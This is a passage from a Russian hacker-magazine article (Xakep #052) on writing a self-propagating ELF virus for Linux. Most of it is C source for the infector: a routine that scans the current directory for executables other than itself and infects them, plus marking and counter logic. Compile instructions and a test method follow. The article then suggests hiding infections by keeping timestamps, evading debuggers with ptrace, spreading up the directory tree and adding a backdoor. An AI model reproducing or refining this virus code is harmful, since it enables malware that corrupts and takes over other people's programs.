|
Самораспространяющиеся файлы под Linux saparmurat Xakep, номер #052, стр. 052-078-3 // Установка значения e_version равное двум lseek(Fdesc,0,0); read(Fdesc, &ELF_Header, sizeof(ELF_Header)); ELF_Header.e_version=0x2; lseek(Fdesc,0,0); write(Fdesc, &ELF_Header, sizeof(ELF_Header)); close(Fdesc); // Увеличение счетчика зараженных файлов Infected_Counter++; printf("%s Infected!\n",Target); } } // Процедура поиска жертвы, в качестве параметра принимает argv[0], т.е. название запущенного файла. Это необходимо для того, // чтобы пропустить собственное заражение. Find_Target(char *Our_Name) { getcwd(Directory,100); // Получить текущую директорию dp=opendir(Directory); while(d=readdir(dp)) // Пока есть элементы в директории (файлы) { if(d->d_ino != 0) // Считывание первого файла { stat(d->d_name,&Status); // Получение его свойств if((Status.st_mode&S_IXUSR)!=0 ) // Если это исполняемый файл, а не директория/текстовый файл etc... { sprintf(Target_Name,"./%s",d->d_name); // Сверка имени элемента со своим if(((S_ISREG(Status.st_mode)))&(strcmp(Target_Name,Our_Name)!=0)) { if (Infected_Counter < Max_Infect_Counter) // Проверка счетчика заражений { Infecting(d->d_name); // Вызов процедуры заражения } } } } } } Вот, собственно, и весь код. Компилирование: $gcc ELF_Infector.c -o infector $strip infector // если имеется strip, то им лучше воспользоваться Теперь проверка вышеописанного кода. Необходимо закинуть инфектор вместе с несколькими подопытными программами. После запуска часть из них будут иметь больший размер, чем изначально. Это означает, что программа заражена. Триксы Возможно, этот пример не полностью оптимизирован. Он лишь показывает, каким образом происходит заражение. Можно, к примеру, добавить функцию сохранения параметров файла, т.е. время создания/изменения. И эти значения будут оставаться нетронутыми после заражения. Еще добавить некоторые функции антидебага, например, использовать PTRACE. PTRACE - это не эксплоит, как многие могут подумать =), а системный вызов, служащий для дебага процессов. Сам PTRACE не может быть вызван два раза подряд в одном и том же процессе. Т.е. при вызове его через какой-нибудь strace выпадет ошибка. Вот простой пример: #include <sys/ptrace.h> int main() { if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) { printf("Someone trying to debug us =)...\n"); exit(1); } } От отладки это, конечно, не спасет, но потреплет нервы начинающим =). Можно поиграться и с алгоритмом заражения. Ведь данный инфектор ограничен только текущей папкой, а можно добавить подъем на уровень вверх (..). Некоторые могут добавить в него backdoor, но это уже совсем незаконные действия. На самом деле все ограничивается только фантазией и уровнем знаний. К тому же сейчас стали появляться различные движки: мутирующие, пермутирующие, генераторы мусора и другие... Но все эти реализации в основном под WIN. Под Unix готовых движков практически нет. Послесловие Подводя итог, хочу добавить пару слов. Писать такие вещи на С - не самый лучший вариант. HLL всегда отличались своей толстокодостью. Гораздо лучше писать на чистом асме, ведь итоговый размер будет существенно меньше. На крайняк можно использовать Inline Assembler, т.е ассемблерные вставки в С код. Несмотря на то, что писать на нем сложнее, код получается компактным и пластичным, что является основным условием при использовании различных движков. В общем, писать можно по-разному, все зависит от твоих знаний. Так что надо учиться, учиться и учиться... |